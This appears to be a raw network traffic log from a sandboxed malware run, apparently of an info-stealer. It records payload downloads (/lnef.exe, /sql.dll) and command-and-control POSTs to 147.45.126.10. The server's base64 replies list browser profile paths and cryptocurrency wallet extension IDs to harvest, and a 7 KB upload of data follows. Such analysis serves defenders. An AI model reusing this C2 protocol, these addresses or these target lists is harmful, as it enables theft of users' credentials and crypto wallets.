Sep 6, 2024 08:17:54.477138042 CEST	1236	IN	Data Raw: 31 43 32 42 30 44 41 34 37 32 45 35 38 34 43 38 45 33 43 38 46 38 37 35 42 39 41 32 34 32 38 30 34 33 35 44 34 32 38 33 36 41 37 37 42 31 39 46 35 41 38 43 31 38 00 43 36 31 42 31 39 34 31 43 46 37 35 36 45 42 37 35 35 31 46 37 43 36 36 31 37 34 Data Ascii: 1C2B0DA472E584C8E3C8F875B9A24280435D42836A77B19F5A8C18C61B1941CF756EB7551F7C661743802362728B785ADC22E860D269713DFB01A6D5B7247C497788CF0031CEB06E3DF77A45FEF59F1E49633DC7159816D64759B5CompilerGeneratedAttributeAVP.g.resourcesaR3nbf8dQp2feLm
Sep 6, 2024 08:17:54.477153063 CEST	448	IN	Data Raw: 02 01 1c 18 04 20 01 01 1c 0a 20 03 12 80 c9 1c 12 80 cd 1c 06 20 01 01 12 80 c9 03 06 11 48 03 06 11 44 03 06 11 50 03 06 11 4c 03 06 11 38 03 06 11 3c 03 06 11 40 00 00 00 b4 00 00 00 ce ca ef be 01 00 00 00 91 00 00 00 6c 53 79 73 74 65 6d 2e Data Ascii: HDPL8<@lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSetPADPADP,
Sep 6, 2024 08:17:54.477190018 CEST	1236	IN	Data Raw: 69 6e 67 2c 20 56 65 72 73 69 6f 6e 3d 34 2e 30 2e 30 2e 30 2c 20 43 75 6c 74 75 72 65 3d 6e 65 75 74 72 61 6c 2c 20 50 75 62 6c 69 63 4b 65 79 54 6f 6b 65 6e 3d 62 30 33 66 35 66 37 66 31 31 64 35 30 61 33 61 6a 53 79 73 74 65 6d 2e 43 6f 64 65 Data Ascii: ing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3ajSystem.CodeDom.MemberAttributes, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089mSystem.Globalization.CultureInfo, mscorlib, Version=4.0.0.0, Cult
Sep 6, 2024 08:17:54.481965065 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 6, 2024 08:17:55.142551899 CEST	71	OUT	GET /lnef.exe HTTP/1.1 Host: 46.29.235.52 Cache-Control: no-cache
Sep 6, 2024 08:17:55.328977108 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 06 Sep 2024 06:17:55 GMT Content-Type: application/octet-stream Content-Length: 353832 Last-Modified: Thu, 05 Sep 2024 22:29:59 GMT Connection: keep-alive ETag: "66da30e7-56628" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ff 2f da 66 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 0b 00 00 34 05 00 00 0a 00 00 00 00 00 00 de 52 05 00 00 20 00 00 00 60 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 90 52 05 00 4b 00 00 00 00 60 05 00 14 06 00 00 00 00 00 00 00 00 00 00 00 40 05 00 28 26 00 00 00 80 05 00 0c 00 00 00 4c 52 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL/f4R `@ `RK`@(&LR H.text2 4 `.rsrc`6@@.reloc>@BRH(&=0]+(`e~:K( s((( ?rpsz6+(=O(N+(p5((+(EGd(%( %(j+(/dd(((04+(Rb8o(Xo?(0K 8( &S! b4 ni -a

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49778	147.45.126.10	80

Timestamp	Bytes transferred	Direction	Data
Sep 6, 2024 08:17:59.238775015 CEST	88	OUT	GET / HTTP/1.1 Host: 147.45.126.10 Connection: Keep-Alive Cache-Control: no-cache
Sep 6, 2024 08:18:00.189565897 CEST	168	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Sep 2024 06:18:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Sep 6, 2024 08:18:00.242655039 CEST	436	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBFHDBGIEBFIIDGCBFBK Host: 147.45.126.10 Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 46 48 44 42 47 49 45 42 46 49 49 44 47 43 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 44 43 38 33 32 35 45 38 45 42 39 32 39 32 35 33 38 32 31 39 33 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 44 42 47 49 45 42 46 49 49 44 47 43 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 66 31 30 39 33 61 61 37 65 65 62 61 66 37 35 35 32 30 33 61 30 30 33 37 30 65 32 32 33 37 35 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 44 42 47 49 45 42 46 49 49 44 47 43 42 46 42 4b 2d 2d 0d 0a Data Ascii: ------DBFHDBGIEBFIIDGCBFBKContent-Disposition: form-data; name="hwid"3DC8325E8EB92925382193-a33c7340-61ca------DBFHDBGIEBFIIDGCBFBKContent-Disposition: form-data; name="build_id"4f1093aa7eebaf755203a00370e22375------DBFHDBGIEBFIIDGCBFBK--
Sep 6, 2024 08:18:00.847202063 CEST	232	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Sep 2024 06:18:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 63 32 38 63 36 38 38 38 32 63 65 61 32 30 39 38 61 38 37 37 32 65 65 39 31 34 66 31 39 34 35 39 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|c28c68882cea2098a8772ee914f19459\|1\|1\|1\|0\|0\|50000\|10
Sep 6, 2024 08:18:00.947765112 CEST	511	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDAEGHDGDBGDGDAAFI Host: 147.45.126.10 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 32 38 63 36 38 38 38 32 63 65 61 32 30 39 38 61 38 37 37 32 65 65 39 31 34 66 31 39 34 35 39 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 66 31 30 39 33 61 61 37 65 65 62 61 66 37 35 35 32 30 33 61 30 30 33 37 30 65 32 32 33 37 35 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 2d 2d 0d 0a Data Ascii: ------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="token"c28c68882cea2098a8772ee914f19459------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="build_id"4f1093aa7eebaf755203a00370e22375------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="mode"1------AFHDAEGHDGDBGDGDAAFI--
Sep 6, 2024 08:18:01.603095055 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Sep 2024 06:18:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 5a 70 64 6d 46 73 5a 47 6c 38 58 46 5a 70 64 6d 46 73 5a 47 6c 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 44 62 32 31 76 5a 47 38 67 52 48 4a 68 5a 32 39 75 66 46 78 44 62 [TRUNCATED] Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfFZpdmFsZGl8XFZpdmFsZGlcVXNlciBEYXRhfGNocm9tZXxDb21vZG8gRHJhZ29ufFxDb21vZG9cRHJhZ29uXFVzZXIgRGF0YXxjaHJvbWV8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxCcmF2ZXxcQnJhdmVTb2Z0d2FyZVxCcmF2ZS1Ccm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZXxcTWljcm9zb2Z0XEVkZ2VcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBDYW5hcnl8XE1pY3Jvc29mdFxFZGdlIFN4U1xVc2VyIERhdGF8Y2hyb21lfE1pY3Jvc29mdCBFZGdlIEJldGF8XE1pY3Jvc29mdFxFZGdlIEJldGFcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBEZXZ8XE1pY3Jvc29mdFxFZGdlIERldlxVc2V [TRUNCATED]
Sep 6, 2024 08:18:01.603210926 CEST	486	IN	Data Raw: 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 52 55 55 4a 79 62 33 64 7a 5a 58 4a 38 58 46 52 6c 62 6d 4e 6c 62 6e 52 63 55 56 46 43 63 6d 39 33 63 32 56 79 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 Data Ascii: VXNlciBEYXRhfGNocm9tZXxRUUJyb3dzZXJ8XFRlbmNlbnRcUVFCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q3J5cHRvVGFiIEJyb3dzZXJ8XENyeXB0b1RhYiBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8T3BlcmF8XE9wZXJhIFNvZnR3YXJlfG9wZXJhfE9wZXJhIEdYfFxPcGVyYSBTb2Z0d2FyZXxvcGVyYXxPcGVyYSB
Sep 6, 2024 08:18:01.689730883 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Sep 6, 2024 08:18:02.006331921 CEST	511	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDAEGHDGDBGDGDAAFI Host: 147.45.126.10 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 32 38 63 36 38 38 38 32 63 65 61 32 30 39 38 61 38 37 37 32 65 65 39 31 34 66 31 39 34 35 39 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 66 31 30 39 33 61 61 37 65 65 62 61 66 37 35 35 32 30 33 61 30 30 33 37 30 65 32 32 33 37 35 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 2d 2d 0d 0a Data Ascii: ------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="token"c28c68882cea2098a8772ee914f19459------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="build_id"4f1093aa7eebaf755203a00370e22375------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="mode"2------AFHDAEGHDGDBGDGDAAFI--
Sep 6, 2024 08:18:02.582748890 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Sep 2024 06:18:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 32 6c 6f 62 32 5a 6c 59 33 77 78 66 44 42 38 4d 48 78 43 61 57 35 68 62 6d 4e 6c 51 32 68 68 61 57 35 58 59 57 78 73 5a 58 52 38 4d 58 78 6d 61 47 4a 76 61 47 6c 74 59 57 56 73 59 6d 39 6f 63 47 70 69 59 6d 78 6b 59 32 35 6e 59 32 35 68 63 47 35 6b [TRUNCATED] Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3wxfDB8MHxCaW5hbmNlQ2hhaW5XYWxsZXR8MXxmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHwxfDF8MHxZb3JvaXwxfGZmbmJlbGZkb2Vpb2hlbmtqaWJubWFkamllaGpoYWpifDF8MHwwfENvaW5iYXNlfDF8aG5mYW5rbm9jZmVvZmJkZGdjaWpubWhuZm5rZG5hYWR8MXwwfDF8R3VhcmRhfDF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDF8aVdhbGxldHwxfGtuY2NoZGlnb2JnaGVuYmJhZGRvampubmFvZ2ZwcGZqfDF8MHwwfFJvbmluV2FsbGV0fDF8Zm5qaG1raGhta2Jqa2thYm5kY25ub2dhZ29nYm5lZWN8MXwwfDB8TmVvTGluZXwxfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENsb3ZlcldhbGxldHwxfG5obmtia2dqaWtnY2lnYWRvbWtwaGFsYW5uZGNhcGprfDF8MHwwfExpcXVhbGl0eVdhbGxldHwxfGtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufDF8MHwwfFRlcnJhX1N0YXRpb258MXxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnwxfGRta2FtY2tub2drZ2NkZmhoYmRkY2doYW [TRUNCATED]
Sep 6, 2024 08:18:02.582763910 CEST	224	IN	Data Raw: 6b 63 47 52 74 61 32 46 68 61 32 56 71 62 6d 68 68 5a 58 77 78 66 44 42 38 4d 48 78 51 62 32 78 35 62 57 56 7a 61 46 64 68 62 47 78 6c 64 48 77 78 66 47 70 76 61 6d 68 6d 5a 57 39 6c 5a 47 74 77 61 32 64 73 59 6d 5a 70 62 57 52 6d 59 57 4a 77 5a Data Ascii: kcGRta2Fha2VqbmhhZXwxfDB8MHxQb2x5bWVzaFdhbGxldHwxfGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHwxfGZscGljaWlsZW1naGJtZmFsaWNham9vbGhra2VuZmVsfDF8MHwwfENvaW45OHwxfGFlYWNoa25tZWZwaGVwY2Npb25ib29oY2tvbm9lZW1nfDF
Sep 6, 2024 08:18:02.582773924 CEST	1236	IN	Data Raw: 38 4d 48 77 77 66 45 56 57 52 56 49 67 56 32 46 73 62 47 56 30 66 44 46 38 59 32 64 6c 5a 57 39 6b 63 47 5a 68 5a 32 70 6a 5a 57 56 6d 61 57 56 6d 62 47 31 6b 5a 6e 42 6f 63 47 78 72 5a 57 35 73 5a 6d 74 38 4d 58 77 77 66 44 42 38 53 32 46 79 5a Data Ascii: 8MHwwfEVWRVIgV2FsbGV0fDF8Y2dlZW9kcGZhZ2pjZWVmaWVmbG1kZnBocGxrZW5sZmt8MXwwfDB8S2FyZGlhQ2hhaW58MXxwZGFkamtma2djYWZnYmNlaW1jcGJrYWxuZm5lcGJua3wxfDB8MHxSYWJieXwxfGFjbWFjb2RramJkZ21vbGVlYm9sbWRqb25pbGtkYmNofDF8MHwwfFBoYW50b218MXxiZm5hZWxtb21laW1obH
Sep 6, 2024 08:18:02.582786083 CEST	1236	IN	Data Raw: 6c 63 48 42 6e 5a 48 42 6f 66 44 46 38 4d 48 77 77 66 45 56 34 62 32 52 31 63 79 42 58 5a 57 49 7a 49 46 64 68 62 47 78 6c 64 48 77 78 66 47 46 6f 62 32 78 77 5a 6d 52 70 59 57 78 71 5a 32 70 6d 61 47 39 74 61 57 68 72 61 6d 4a 74 5a 32 70 70 5a Data Ascii: lcHBnZHBofDF8MHwwfEV4b2R1cyBXZWIzIFdhbGxldHwxfGFob2xwZmRpYWxqZ2pmaG9taWhramJtZ2ppZGxjZG5vfDF8MHwwfEJyYWF2b3N8MXxqbmxnYW1lY2JwbWJhampmaG1tbWxoZWprZW1lamRtYXwxfDB8MHxFbmtyeXB0fDF8a2twbGxrb2RqZWxvaWRpZWVkb2pvZ2FjZmhwYWlob2h8MXwwfDB8T0tYIFdlYjMgV2
Sep 6, 2024 08:18:02.582796097 CEST	1236	IN	Data Raw: 76 49 46 64 68 62 47 78 6c 64 48 77 78 66 47 4a 6e 61 6d 39 6e 63 47 39 70 5a 47 56 71 5a 47 56 74 5a 32 39 76 59 32 68 77 62 6d 74 74 5a 47 70 77 62 32 4e 6e 61 32 68 68 66 44 46 38 4d 48 77 77 66 45 4e 76 61 57 35 6f 64 57 4a 38 4d 58 78 71 5a Data Ascii: vIFdhbGxldHwxfGJnam9ncG9pZGVqZGVtZ29vY2hwbmttZGpwb2Nna2hhfDF8MHwwfENvaW5odWJ8MXxqZ2FhaW1hamlwYnBkb2dwZGdsaGFwaGxkYWtpa2dlZnwxfDB8MHxMZWFwIENvc21vcyBXYWxsZXR8MXxmY2ZjZmxsZm5kbG9tZGhiZWhqamNvaW1iZ29mZG5jZ3wxfDB8MHxNdWx0aXZlcnNYIERlRmkgV2FsbGV0fD
Sep 6, 2024 08:18:02.582807064 CEST	672	IN	Data Raw: 70 59 79 42 46 5a 47 56 75 49 46 64 68 62 47 78 6c 64 48 77 78 66 47 31 72 63 47 56 6e 61 6d 74 69 62 47 74 72 5a 57 5a 68 59 32 5a 75 62 57 74 68 61 6d 4e 71 62 57 46 69 61 57 70 6f 59 32 78 6e 66 44 46 38 4d 48 77 77 66 45 4a 68 59 32 74 77 59 Data Ascii: pYyBFZGVuIFdhbGxldHwxfG1rcGVnamtibGtrZWZhY2ZubWthamNqbWFiaWpoY2xnfDF8MHwwfEJhY2twYWNrIFdhbGxldHwxfGFmbGttZmhlYmVkYmppb2lwZ2xnY2JjbW5icGdsaW9mfDF8MHwwfFRvbmtlZXBlciBXYWxsZXR8MXxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYW
Sep 6, 2024 08:18:02.667642117 CEST	8	IN	Data Raw: 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: =0
Sep 6, 2024 08:18:02.761100054 CEST	512	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJDAECAEBKJJJKEBKKJD Host: 147.45.126.10 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 41 45 43 41 45 42 4b 4a 4a 4a 4b 45 42 4b 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 32 38 63 36 38 38 38 32 63 65 61 32 30 39 38 61 38 37 37 32 65 65 39 31 34 66 31 39 34 35 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 41 45 43 41 45 42 4b 4a 4a 4a 4b 45 42 4b 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 66 31 30 39 33 61 61 37 65 65 62 61 66 37 35 35 32 30 33 61 30 30 33 37 30 65 32 32 33 37 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 41 45 43 41 45 42 4b 4a 4a 4a 4b 45 42 4b 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 41 45 43 41 45 42 4b 4a 4a 4a 4b 45 42 4b 4b 4a 44 2d 2d 0d 0a Data Ascii: ------KJDAECAEBKJJJKEBKKJDContent-Disposition: form-data; name="token"c28c68882cea2098a8772ee914f19459------KJDAECAEBKJJJKEBKKJDContent-Disposition: form-data; name="build_id"4f1093aa7eebaf755203a00370e22375------KJDAECAEBKJJJKEBKKJDContent-Disposition: form-data; name="mode"21------KJDAECAEBKJJJKEBKKJD--
Sep 6, 2024 08:18:03.360383987 CEST	282	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Sep 2024 06:18:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180
Sep 6, 2024 08:18:07.812608957 CEST	181	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFBGCAKFHCFHJKECFIID Host: 147.45.126.10 Content-Length: 7069 Connection: Keep-Alive Cache-Control: no-cache
Sep 6, 2024 08:18:07.812639952 CEST	7069	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 47 43 41 4b 46 48 43 46 48 4a 4b 45 43 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 32 38 63 36 38 Data Ascii: ------KFBGCAKFHCFHJKECFIIDContent-Disposition: form-data; name="token"c28c68882cea2098a8772ee914f19459------KFBGCAKFHCFHJKECFIIDContent-Disposition: form-data; name="build_id"4f1093aa7eebaf755203a00370e22375------KFBGCAKFHCFHJK
Sep 6, 2024 08:18:08.623449087 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Sep 2024 06:18:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Sep 6, 2024 08:18:08.662549973 CEST	95	OUT	GET /sql.dll HTTP/1.1 Host: 147.45.126.10 Connection: Keep-Alive Cache-Control: no-cache
